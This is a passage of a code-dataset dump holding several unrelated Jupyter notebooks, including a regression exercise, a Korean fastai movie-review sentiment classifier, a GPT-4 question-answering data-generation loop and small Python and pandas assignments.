outputId=\"40eb2ac1-786d-4dbf-c9f1-ca6cce2b102f\"\ndatamart\n\n# + id=\"xOLYBw1RkTe1\"\ndatamart['RFMScour']=datamart['r_quartil'].astype(str)+datamart['f_quartil'].astype(str)+datamart['m_quartil'].astype(str)\n\n# + id=\"6oHXJFe4nqDY\" outputId=\"eac2adba-56ff-42f3-ce16-44db4e6c4ba4\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 455}\ndatamart\n","repo_name":"mohamedh90569/DataAnalysis","sub_path":"RFM_Analysis.ipynb","file_name":"RFM_Analysis.ipynb","file_ext":"py","file_size_in_byte":6858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"72358216353","text":"# + [markdown] id=\"unnecessary-reservation\"\n#

TP 1: Régression Linéaire

\n\n# + [markdown] id=\"suffering-frontier\"\n# **1)Définition du ptoblème:** \n# Estimation de la droite associée à la direction du mouvement du piéton ie. \n# Prédire la valeur de y en fonction de x: y=f(x) --> un problème de régression.\n\n# + id=\"painted-cream\"\n\"\"\"\nName : tp_1.py\nAuthor : Chayma Zatout\nContact : github.com/ChaymaZatout\n\"\"\"\nfrom PIL import Image\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\n# %matplotlib notebook\n\n# + id=\"independent-tongue\"\n# get images path:\ndef get_paths(path):\n imgs = []\n import os\n for file in os.listdir(path):\n if file.endswith(\".png\"): #consider png files\n imgs.append(os.path.join(path, file))\n return imgs\n\n\n# + id=\"grave-stick\"\n# compute the index of the lowest white pixel:\ndef pretraitement(path):\n img = Image.open(path) # Read image\n img = np.array(img) # convert into numpy array\n\n result = np.where(img == 255) # get all white pixels\n rows = result[0] \n columns = result[1]\n y = np.max(rows) # get the lowest pixel\n x = columns[np.argmax(rows)] # get x\n return x, y\n\n\n# + id=\"integral-integration\"\n# construct the dataset from a given directory:\ndef get_data(path):\n imgs = get_paths(path)# get all images\n yy = []\n xx = []\n\n for img in imgs:\n x, y = pretraitement(img)\n xx.append(x)\n yy.append(y)\n return np.array(xx), np.array(yy)\n\n\n# + [markdown] id=\"inside-congress\"\n# **2) Préparation de données:** \n# A partir des images, nous allons: \n# - repérer le pixel blanc le plus bas. \n# - récupérer les indices x, y\n# - construit le dataset \n# \n# PS: la partitionnement en ensemble d'apprentissage/test est mentionné dans l'énoncé\n\n# + id=\"growing-flood\"\nx, y = get_data(\"./dataset/train/\") \nx = x.reshape(-1, 1)\n\n# + [markdown] id=\"discrete-secondary\"\n# **3) Sélection du modèle:** \n# Nous allons choisir la régression linéaire:\n\n# + id=\"thousand-david\" outputId=\"7b8706e3-2123-47cc-deb5-41b682f5aa05\"\n\"\"\"Afin d'exploiter la notion de training set et testing set, j'ai fait appel à la fonction\ntrain test split de sklearn \"\"\"\ntrain_x, test_x, train_y, test_y = train_test_split(x, y, random_state = 0)\nmodel = LinearRegression()\nmodel.fit(train_x, train_y)\nprint('Coefficients: ', model.coef_)\n\n# + [markdown] id=\"casual-laptop\"\n# **4) Evaluation du modele sur l'ensemble d'apprentissage** \n\n# + id=\"preliminary-passenger\" outputId=\"4887aefc-5a0b-49b3-aa88-a0b835d915fd\"\ny_pred = model.predict(x)\nprint('Mean squared error: %.2f' % mean_squared_error(y, y_pred))\nprint('Coefficient of determination: %.2f\\n' % r2_score(y, y_pred))\n\n# + [markdown] id=\"sticky-strike\"\n# **5) Visualisation et Interprétation** \n\n# + id=\"loose-drinking\" outputId=\"201b740d-d844-4658-f930-c47049d650dd\"\nplt.scatter(x, y, color='black')\nplt.plot(test_x, y_pred, color='blue', linewidth=3)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Regression (train)')\nplt.show()\n","repo_name":"8Raouf24/MIV_ML","sub_path":"TP1 Regression/TP_Regression.ipynb","file_name":"TP_Regression.ipynb","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"74335371872","text":"# # リスト操作\n\n#リスト作成\nlista = [1,1,2,2,3,3,4,4,5]\n\n#1を追加\nlista.append(1)\nlista\n\n#リストのvalueをコレクションに入れる例\nimport collections\ncollection_a = collections.Counter(lista)\ncollection_a\n\n\n# # アルゴリズム\n\n# - 一度、数字を整理してxに入れる。\n# - カウンターを準備\n# - xのvalueを一個ずつ取り出し、1以上の場合はカウンターを更新する。\n# - カウンターのvalueをreturnする。\n#\n#\n#\n\n# +\n#collections.Counterで重複していない要素に整理する。\n\ndef countDuplicates(numbers):\n x = collections.Counter(numbers)\n Count = 0\n for i in x.values():\n if int(i) > 1:\n Count += 1\n return Count\n\n\n# -\n\ncountDuplicates(lista)\n\ncountDuplicates([1,1,2,3,4,5,6,7,8,9,26,26])\n\n\n","repo_name":"tkshim/Algorithm","sub_path":"check_doubleNumber_uiPath.ipynb","file_name":"check_doubleNumber_uiPath.ipynb","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"27814823528","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] id=\"geD13jXbkbKy\"\n# # Установка и загрузка библиотек\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"AknOaKI7kXb1\" outputId=\"a348d0ec-fa43-444a-dbd9-8045bbad65d1\"\n# !pip install -Uqq fastbook # fast ai framework\n# !pip install imageio\nimport fastbook\nfastbook.setup_book()\n\n# + id=\"mw_izmoWmxH-\"\nfrom fastai.vision.all import*\nimport cv2\nfrom google.colab.patches import cv2_imshow\nimport imageio\n\n# + [markdown] id=\"ywvWd_cJnLuV\"\n# # Исходные данные\n\n# + [markdown] id=\"R5tl9KxJnPmB\"\n# ## Настройки\n\n# + [markdown] id=\"AeemkcUcnfJ0\"\n# Визуализация\n\n# + id=\"lRprNi41nTl0\"\nfig_size = (5,5)\nimg_map = 'Greys'# 'Blues','Greys'...\n# фрагмент изображения\nleftx, lefty = 200, 500 # левая нижняя точка\nh, w = 224, 224 # высота и ширина\nscf = 1 # scale factor\n\n# + [markdown] id=\"zcZUQI10qdz3\"\n# Путь\n\n# + id=\"xl_kcy_Qqf01\"\npath = Path('/content/gdrive/MyDrive/work/Fuzzy_logic_and_ML/Blood_count_Toy_dataset/lmg_f_16.02.2022_2p5_gc')\n#path\n\n# + [markdown] id=\"4bnKDvfJrTWh\"\n# Чтение содержимого\n\n# + id=\"jmewdr2ZrCqx\"\nfnames = sorted(get_image_files(path))\nfnames #, len(fnames), type(fnames)\n\n# + [markdown] id=\"4b359aTVthJi\"\n# # Вывод изображения на экран\n\n# + [markdown] id=\"c4WiWwhstnuK\"\n# С помощью библиотеки PIL (Python Image Library)\n\n# + id=\"Xi0vq9zQtwXt\"\nimg = Image.open(fnames[0])\nimg\n\n# + [markdown] id=\"h2Biz011uPvv\"\n# С помощью numpy (np), opencv (cv2), matplotlib (plt)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"5heO1Y_mugII\" outputId=\"5f3216e1-1a2b-4855-d20b-bb7bfaf42fa0\"\nimg1 = np.uint8(cv2.imread(str(fnames[0])))\nimg1.shape, type(img1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 256} id=\"CMZQdtPhvNjJ\" outputId=\"d6c2dcb4-96d2-4253-e309-cc3dc1ef9968\"\nplt.figure(figsize = (fig_size[0]*3, fig_size[1]))\nplt.subplot(1,3,1)\nplt.imshow(img1[:,:,0])\n\nplt.subplot(1,3,2)\nplt.imshow(img1[:,:,1])\n\nplt.subplot(1,3,3)\nplt.imshow(img1[:,:,2])\n","repo_name":"Mechanics-Mechatronics-and-Robotics/Pattern_recognition_spr_2022","sub_path":"Blood_flow_visualisation.ipynb","file_name":"Blood_flow_visualisation.ipynb","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"14381340126","text":"# +\nfrom glob import glob\n\nfrom collections import defaultdict\nimport json\nimport os\n\n# +\nimport os\nimport openai\n\nopenai.api_type = \"azure\"\nopenai.api_base = \"https://husein-ai7-aiservices-435901645.openai.azure.com/\"\nopenai.api_version = \"2023-07-01-preview\"\nopenai.api_key = ''\n\nengine = 'gpt-4'\n# -\n\nfiles = glob('base-questions-tatabahasa-part3/*.json') + glob('base-questions-tatabahasa-part4/*.json')\nfiles.extend(glob('base-questions-tatabahasa-part*complex/*.json'))\n\n# +\nquestions = []\nfor f in files:\n with open(f) as fopen:\n data = json.load(fopen)\n for q in data['questions']:\n questions.append(q['question'])\n \nquestions = sorted(list(set(questions)))\nlen(questions)\n# -\n\nquestions\n\nquestions[0]\n\n# !ls answer-question-base-questions-tatabahasa\n\n# !mkdir answer-question-base-questions-tatabahasa\n\n# +\nfrom tqdm import tqdm\n\nfor i in tqdm(range((len(questions) // 4) * 0, (len(questions) // 4) * 1, 1)):\n filename = f'answer-question-base-questions-tatabahasa/{i}.json'\n if os.path.exists(filename):\n continue\n \n try:\n message_text = [\n {\"role\":\"user\",\"content\": questions[i]},\n ]\n completion = openai.ChatCompletion.create(\n engine=\"gpt-4\",\n messages = message_text,\n temperature=1.0,\n max_tokens=1024,\n top_p=0.95,\n frequency_penalty=0,\n presence_penalty=0,\n stop=None\n )\n splitted = completion.choices[0]['message']['content']\n except:\n splitted = None\n with open(filename, 'w') as fopen:\n json.dump(splitted, fopen)\n# -\n\n\n","repo_name":"mesolitica/malaysian-dataset","sub_path":"question-answer/chatgpt4-synthetic-malaysian-qa/answer-random-questions-tatabahasa.ipynb","file_name":"answer-random-questions-tatabahasa.ipynb","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"ms","doc_type":"code","stars":250,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"37920895288","text":"# +\nimport pandas as pd\nfrom openpyxl import load_workbook\nfrom openpyxl.utils.dataframe import dataframe_to_rows\nimport json\n\nexcel_file = \"SupplyChainDiagnostic_test.xlsx\"\nnum_participants = 21\nnum_question_list = [35,15,34,15,35,18,24,28,21,14,15,15,1,14]\nworksheet_list = [\"Forecasting - Demand Planning\", \"New Product Development\", \"Production Planning\", \"Inventory Management\", \"Strategic Sourcing\",\n \"Procurement\", \"Sales & Ops Planning\", \"Distribution & Whse Mgt\", \"Transportation\", \"Master Data\",\n \"IT Systems\", \"Metrics\", \"LS Manufacturing\", \"LS New Product Development\"]\n\nquestionnaire_dict = {}\n\nfor i in range(len(worksheet_list)):\n excel_sheet = pd.read_excel(excel_file, sheet_name=worksheet_list[i], skiprows=6, index_col=\"ID\")\n excel_sheet = excel_sheet.iloc[:,0:5]\n excel_sheet = excel_sheet.iloc[0:num_question_list[i],:]\n sheet_name = excel_sheet.columns[0]\n questions = list(excel_sheet[sheet_name])\n maturity_weight = list(excel_sheet[\"Maturity Level\"])\n ques_mat_dict = dict(zip(questions, maturity_weight))\n questionnaire_dict[worksheet_list[i]] = ques_mat_dict\n \n \nwith open(\"Clarkston_questionnaire.json\", \"w\") as outfile:\n json.dump(questionnaire_dict, outfile)\n# -\n\n\n","repo_name":"Manoj01123/Clarkston_demo","sub_path":"questoinnaire_excel_json_converter.ipynb","file_name":"questoinnaire_excel_json_converter.ipynb","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"26827816721","text":"# ## Module 1: Python Essentials\n\n# +\n# Problem: Use list comprehension to filter number between given bounds [4 Points]\ndef filter_integers_in_bound(upper_bound, lower_bound, numbers):\n return list(filter(lambda x: x <= lower_bound and x >= upper_bound, numbers))\n\nassert filter_integers_in_bound(3, 9, [12, 3, 6, 9, 4, 0, 24]) == [3, 6, 9, 4]\nassert filter_integers_in_bound(-7, 6, [-10, 3, 56, 19, 4, 0, -5]) == [3, 4, 0, -5]\n\n\n# +\n# Problem: Use set to do following on two set of strings [4 Points]\ndef return_number_of_common_words(string1, string2):\n split1 = string1.split()\n split2 = set(split1)\n split3 = string2.split()\n split4 = set(split3)\n num = 0\n for i in split4:\n for j in split2:\n if i == j:\n num += 1\n return num\n\nassert return_number_of_common_words(\"hi hello\", \"hi\") == 1\nassert return_number_of_common_words(\"this is testing work\", \"this is training work\") == 3\nassert return_number_of_common_words(\"work is in progress\", \"No one cares\") == 0\n\n\n# -\n\n# Problem: Returns the dictionary of words and their frequency in input string [6 Points]\ndef get_word_count(input_string):\n result = dict()\n # todo\n str1 = input_string.split()\n for i in str1:\n result[i] = input_string.count(i)\n return result\nassert get_word_count(\"hi hello hi i\") == {\"hi\": 2, \"hello\": 1, \"i\": 1}\n\n\n# +\n# Problem: apply function on input and return result [2 Points]\ndef method_runner(function, input_data):\n return function(input_data)\n\n\nassert method_runner(min, [2, 5, 0.9, 6.4]) == 0.9\nassert method_runner(lambda x: x*x, 5) == 25\ndef foo(n1):\n return n1*n1+n1 \nassert method_runner(foo, 6) == 42\n# -\n\n# ## Module 2: OOP\n\n# +\n# Problem: 1. Design and write a class for Car with constructor. [2 Point]\n# 2. Include custom print capabilities. [1 Points] \n# 3. Also method to add & list features. [3 Points] \n# 4. Customize object compare so two cars are equal if make and model_name are same. [2 Point]\n\n\nclass Car:\n def __init__(self, cname, num, mod):\n self.cname = cname\n self.num = num\n self.mod = mod\n self.features = []\n\n def list_features(self):\n return self.features\n\n def add_feature(self, name):\n self.features.append(name)\n \n def __eq__(self, other):\n return self.cname == other.cname and self.mod == other.mod\n\n\n\ndef str(c):\n s1=f\"{c.cname}'s model {c.mod}, built in {c.num}\"\n return s1\n# 1\nc = Car(\"BMW\", 2015, \"X1\")\n# 2\nassert str(c) == \"BMW's model X1, built in 2015.\"\n# 3\nassert c.list_features() == []\nc.add_feature(\"iDrive 6.0 Systems\")\nc.add_feature(\"Dynamic Cruise Control\")\nassert c.list_features() == [\"iDrive 6.0 Systems\", \"Dynamic Cruise Control\"]\n# 4\nassert Car(\"BMW\", 2014, \"M8\") == Car(\"BMW\", 2018, \"M8\")\nassert Car(\"BMW\", 2014, \"M8\") != Car(\"BMW\", 2014, \"i220\")\n\n\n# +\n# Problem: Design classes where one is parent & other is child. let child call the parent method. [2 Points]\n\nclass Parent:\n def run_parent_method(self):\n s1=\"This is parent method\"\n return s1\n\n\nclass Child(Parent):\n\n def run_child_method(self):\n s2=\"This is child method\"\n return s2\n\nassert Child().run_parent_method() == \"This is parent method\"\nassert Child().run_child_method() == \"This is child method\"\n# -\n\n\n","repo_name":"Meet-Pogul/JoyProgPython2020-CKPCET","sub_path":"python-workshop-ckpcet-april-2020-master/day2/assignment2.ipynb","file_name":"assignment2.ipynb","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"10881840951","text":"# # Sesión 4 \n# ## Estadistica Aplicada \n# **Jose Alfonso Gonzalez Acosta**\n# - 2 de febrero\n\nimport numpy as np\nimport pandas as pd\n\ncalificaciones = pd.read_csv('https://raw.githubusercontent.com/jimmyzac/Estadistica-Aplicada-FCFM-UANL/main/bases_datos/Calificaciones.csv')\n\ncalificaciones\n\ncalificaciones.rename(columns={'Calficación Final':'cal_final','Nombre':'nombre','Apellido':'apellido'}, inplace=True)\n\ncalificaciones\n\nexcelentes = calificaciones[calificaciones['cal_final']>=90]\n\nexcelentes\n\ncalificaciones['Situación'] = np.where(calificaciones['cal_final']>=70,'Aprobado', 'Reprobado')\n\ncalificaciones\n","repo_name":"AlfonsoGonzalez21/Estadistica_Aplicada_JAGA_1989939","sub_path":"Sesion 4.ipynb","file_name":"Sesion 4.ipynb","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"33422192915","text":"# + [markdown] id=\"UODKH-odPPJI\"\n# # 딥러닝_자연어_자동분류\n#\n# 참조1: fastai version 1.0.60, https://github.com/fastai/fastai\n#\n# 참조2:Jeremy Howard, Sebastian Ruder, “Universal Language Model Fine-tuning for Text Classification”, 2018, https://arxiv.org/abs/1801.06146 \n#\n# 참조3: https://medium.com/technonerds/using-fastais-ulmfit-to-make-a-state-of-the-art-multi-label-text-classifier-bf54e2943e83\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 781} id=\"wlrBH3hFJRon\" outputId=\"9ad9ad1a-d020-4665-b8f8-90ebdee4568f\"\n# Python 버젼\n# !python --version\n# OS 플랫폼 \n# !cat /etc/issue.net\n# CPU 사양\n# !head /proc/cpuinfo\n# 메모리 사양 - 14Gb\n# !head -n 3 /proc/meminfo\n# 디스크 사양 - \n# !df -h\n# Tensorflow 버젼\nimport tensorflow as tf\nprint(tf.__version__)\n# GPU 모니터링 - K80 GPU(GPU 11.4GB)\n## 12간 동안만 무료로 사용\n# !nvidia-smi\n\n# + [markdown] id=\"LagOAp_Qh_JN\"\n# ## 데이터 전처리\n#\n#\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"326BdQfwMzHT\" outputId=\"84ff27a2-4494-4fb7-ac47-f5bff09ca2b9\"\nimport fastai.text\n\nfastai.text.__version__\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 75} id=\"6Vko2wlag5Rm\" outputId=\"acffd23a-34db-46bf-a308-074ea90145f6\"\nfrom fastai.text import *\nimport pandas as pd\nimport numpy as np\nfrom sklearn.feature_selection import chi2\n# Optional: use this line if you want to remove Pandas'\n# default concatenation of long text in columns\npd.set_option('display.max_colwidth', -1)\n\n# + id=\"mj6kxTdqn_Yw\"\n# 구글 드라이브 연결을 위한 기본 세팅\n# !pip install -U -q PyDrive\n \nfrom pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nfrom google.colab import auth\nfrom oauth2client.client import GoogleCredentials\n \n# 1. Authenticate and create the PyDrive client.\nauth.authenticate_user()\ngauth = GoogleAuth()\ngauth.credentials = GoogleCredentials.get_application_default()\ndrive = GoogleDrive(gauth)\n\n# + [markdown] id=\"WjedRnwaCWFy\"\n# ## 학생들이 실제로 변경해야될 유일한 부분\n\n# + id=\"AIMDrjHvocxF\"\n# 문서 ID로 실제 파일 불러오는 법\n## https://drive.google.com/open?id=1EbnxOYEt4PJxVN_z1SO2iLMSw4JSkmdV\n\n# https://drive.google.com/open?id=1MpUKKtp7OJntMzU4nI097gtk3RUoNsw5\n###label,text\n###긍정,어릴때보고 지금다시봐도 재밌어요ㅋㅋ\n###긍정,\"디자인을 배우는 학생으로, 외국디자이너와 그들이 일군 전통을 통해 발전해가는 문화산업이 부러웠는데. 사실 우리나라에서도 그 어려운시절에 끝까지 열정을 지킨 노라노 같은 전통이있어 저와 같은 사람들이 꿈을 꾸고 이뤄나갈 수 있다는 것에 감사합니다.\"\n###긍정,폴리스스토리 시리즈는 1부터 뉴까지 버릴께 하나도 없음.. 최고.\n###부정,완전 사이코영화. 마지막은 더욱더 이 영화의질을 떨어트린다.\n###부정,왜난 재미없었지 ㅠㅠ 라따뚜이 보고나서 스머프 봐서 그런가 ㅋㅋ\n###부정,포풍저그가나가신다영차영차영차\n\n# 실습을 위한 간단 데이터 - 긍정 100개 부정 100개\n# https://drive.google.com/open?id=1pHM41cWacOvMT5bl7TGTmxMLL_tl6M6n\nrawdata_downloaded = drive.CreateFile({'id': '1MpUKKtp7OJntMzU4nI097gtk3RUoNsw5'})\nrawdata_downloaded.GetContentFile('rawdata.txt')\n\n## 하단은 Full DATA - 긍정 99,996개 부정 99,996개\n## https://drive.google.com/open?id=1EbnxOYEt4PJxVN_z1SO2iLMSw4JSkmdV\n#rawdata_downloaded = drive.CreateFile({'id': '1EbnxOYEt4PJxVN_z1SO2iLMSw4JSkmdV'})\n#rawdata_downloaded.GetContentFile('rawdata.txt')\n\n# + [markdown] id=\"ZmmmhQc4nkfC\"\n# ## 실행\n\n# + id=\"PwoTW0WzkcNo\"\n# 파일을 DataFrame으로 전환\ndf = pd.read_csv('rawdata.txt', header=0, encoding='utf-8', dtype=str, engine='python')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 467} id=\"2lQMmjimgtSX\" outputId=\"e1a64e9c-72cd-4a8c-cb34-39bd69d800c8\"\ndf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 92} id=\"oIX0ODPlf2Ab\" outputId=\"61181db2-72aa-4307-ded6-a9072d106ad8\"\n# 동일한 의미를 갖는, 다른 방법\ndf[\"label\"].groupby([df[\"label\"]]).count()\n\n# + [markdown] id=\"GmdRmrpCh9lf\"\n# ## Create train & validation datasets and FastAI data bunch\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"9oqVoZ7MiClF\" outputId=\"8096983d-82d5-4479-ba07-b76bb0c709e3\"\nfrom sklearn.model_selection import train_test_split\ndf_trn, df_val = train_test_split(df, stratify = df['label'], test_size = 0.3) ## 학습:테스트 비율 설정 \ndf_trn.shape, df_val.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 17} id=\"LyLChd2riGg-\" outputId=\"127f30b7-1337-43d9-b352-7b86f5bdea59\"\n# Language model data\ndata_lm = TextLMDataBunch.from_df(train_df = df_trn, valid_df = df_val, path = \"\")\n# Classifier model data\ndata_clas = TextClasDataBunch.from_df(train_df = df_trn, valid_df = df_val, path = \"\", vocab=data_lm.train_ds.vocab, bs=32)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 341} id=\"LYnV8bHGiJrF\" outputId=\"41f72a8f-8e1e-4cd5-99e5-123a1ffb4f82\"\ndata_clas.show_batch()\n\n# + [markdown] id=\"m8hMhZ0tiQyB\"\n# ## Create and Train the Language Model\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"IRcVkMf6iT9l\" outputId=\"3051b615-cfbe-4d52-80ba-2cd0c5621f2e\"\nlearn = language_model_learner(data_lm, AWD_LSTM, drop_mult=0.3)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"Nh-SEY5aiVc-\" outputId=\"dd9dabc9-17e9-4782-af6d-63f9f780cfcd\"\nlearn.lr_find()\nlearn.recorder.plot(suggestion=True)\nmin_grad_lr = learn.recorder.min_grad_lr\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 110} id=\"xBInnThfiXBt\" outputId=\"d111d8f6-8318-4302-9c78-81d9eae82be2\"\nlearn.fit_one_cycle(2, min_grad_lr) \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 110} id=\"8Oqa6oZOiYmk\" outputId=\"2ca92bbc-66dc-494c-9c59-4c8f0d7574d5\"\n# unfreezing weights and training the rest of the NN\nlearn.unfreeze()\nlearn.fit_one_cycle(2, 1e-3)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"yAMJ2eaWiaH9\" outputId=\"3cfff363-9965-4fb3-f729-cc0a87a519d8\"\nlearn.predict(\"어려셔\", n_words=10) ## 테스트\n\n# + id=\"h27lk5I3icWl\"\nlearn.save_encoder('ft_enc')\n\n# + [markdown] id=\"BpzR_W_zifLw\"\n# ## Using the Language Model to Train the Classifier\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"y4NLUns4iha-\" outputId=\"bad461ca-403b-4571-9d7a-9ba6a4a9d755\"\nlearn = text_classifier_learner(data_clas, AWD_LSTM, drop_mult=0.5)\nlearn.load_encoder('ft_enc')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"Mv4fG3Dsiiv9\" outputId=\"66509dd0-a6b9-4c6d-e567-c65b88541a68\"\nlearn.lr_find()\nlearn.recorder.plot(suggestion=True)\nmin_grad_lr = learn.recorder.min_grad_lr\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 110} id=\"QaI2qEe5ikmG\" outputId=\"22c5cadb-8a75-4087-fe19-c97736eecbc9\"\nlearn.fit_one_cycle(2, min_grad_lr)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279} id=\"XNWPN0y6imCx\" outputId=\"932ca45b-72e8-45a9-caf7-8b40149267e6\"\nlearn.recorder.plot_losses()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 171} id=\"WND4AqZfinm0\" outputId=\"daa6afd0-275c-4a6e-ae55-27d984bcd1cf\"\nlearn.freeze_to(-2)\nlearn.fit_one_cycle(4, slice(5e-3, 2e-3), moms=(0.8,0.7))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279} id=\"jE1JZgONip2h\" outputId=\"00816794-3db2-40a9-8cc7-30442de24104\"\nlearn.recorder.plot_losses()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 171} id=\"LcqqtrJPirdu\" outputId=\"6ef6d328-2110-4bb5-8012-c19777a3304a\"\nlearn.unfreeze()\nlearn.fit_one_cycle(4, slice(2e-3/100, 2e-3), moms=(0.8,0.7))\n\n# + [markdown] id=\"NqYvVVzmitR5\"\n# ## Analyzing our results\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 406} id=\"F13TkuvViu71\" outputId=\"d65f7585-18a5-41a1-e447-20d1c987aa82\"\npreds,y,losses = learn.get_preds(with_loss=True)\ninterp = ClassificationInterpretation(learn, preds, y, losses)\ninterp.plot_confusion_matrix()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"IWLtgkqeiwZP\" outputId=\"44082060-7287-41f0-e79c-ccb99c97ed9a\"\ninterp.most_confused()\n\n# + [markdown] id=\"MKwlC841izE-\"\n# ## Predictions!\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"NbZeQo6nYxtG\" outputId=\"d13ba9fb-d6b8-4ad9-e637-440389540260\"\nlearn.predict(\"최고의 망작!! 꼭 보세요!!\")\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"lz8Qpw5FOThg\" outputId=\"197dd12f-4cdf-408f-ed8d-bdb44bfdd2d3\"\nlearn.predict(\"알 수 없는 감독의 뇌구조\")\n\n# + [markdown] id=\"ahrusFQPZKvP\"\n# ## Export the model\n\n# + id=\"nCJzHIhMZKvQ\"\n## export.pkl / 170M\nlearn.export()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 54} id=\"PgmT7I6PWHFV\" outputId=\"76170af3-cb10-40e8-fae2-45d9dcfddf06\"\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\n\n# + id=\"yus8quduWM2c\"\n# # copy it there\n# !cp export.pkl \"/content/gdrive/My Drive\"\n\n# + [markdown] id=\"AxeDPuxVVsHz\"\n# ## Import the model\n\n# + id=\"CrBsCwswX5dz\"\n# 구글 드라이브 연결을 위한 기본 세팅\n# !pip install -U -q PyDrive\n \nfrom pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nfrom google.colab import auth\nfrom oauth2client.client import GoogleCredentials\n \n# 1. Authenticate and create the PyDrive client.\nauth.authenticate_user()\ngauth = GoogleAuth()\ngauth.credentials = GoogleCredentials.get_application_default()\ndrive = GoogleDrive(gauth)\n\n# + id=\"t4auldL1UycO\"\n## 실습_한국외대_딥러닝문서분류_네이버영화긍부정_82.export.pkl\n## https://drive.google.com/open?id=1f7pvXQr80hvCiUywS1Yv-rZ10k97o7Za\nrawdata_downloaded = drive.CreateFile({'id': '1f7pvXQr80hvCiUywS1Yv-rZ10k97o7Za'})\nrawdata_downloaded.GetContentFile('네이버영화긍부정_82.export.pkl')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 16} id=\"fmR-ZRlNVygv\" outputId=\"cd0b608b-d2e4-4161-cd8e-d55048ea8461\"\n## 가장 좋은 학습 모델 불러오기\npath = learn.path\nlearnx = load_learner(path,'네이버영화긍부정_82.export.pkl')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} id=\"1cR3jq2tYoav\" outputId=\"185dd08a-df4e-40ba-ef02-3b8efbf20a37\"\nlearnx.predict(\"단연 최고\")\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} id=\"bsjtBZnjX-kR\" outputId=\"a312bf2a-dc20-4673-89c1-1eb6673f6475\"\nlearnx.predict(\"영상은 좋으나 반전까지 보기엔 산만하고 지루하고 개연성이떨어진다.. 평점에낚였네\")\n","repo_name":"hellacles/BigData","sub_path":"소스/딥러닝_문서분류_학생용_ipynb의_사본.ipynb","file_name":"딥러닝_문서분류_학생용_ipynb의_사본.ipynb","file_ext":"py","file_size_in_byte":10527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"24375483607","text":"# %matplotlib inline\n\n# +\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom scipy.stats import norm\n\n# +\nsns.set_style('white')\nsns.set_context('talk')\n\nnp.random.seed(123)\n# -\n\n# 0 중심을 가진 정규분포에서 100개의 점을 샘플링하자.
\n# 목표는 평균 $\\mu$(표준편차는 1임을 알고 있다고 가정)의 사후분포를 추정하는 것. \n\ndata = np.random.randn(20)\nax = plt.subplot()\nsns.distplot(data, kde=False, ax=ax)\n_ = ax.set(title='Histogram of observed data', xlabel='x', ylabel='# observations');\n\n\n# 이런 경우 우리는 베이즈 추정을 통해 추정할 수 있다.
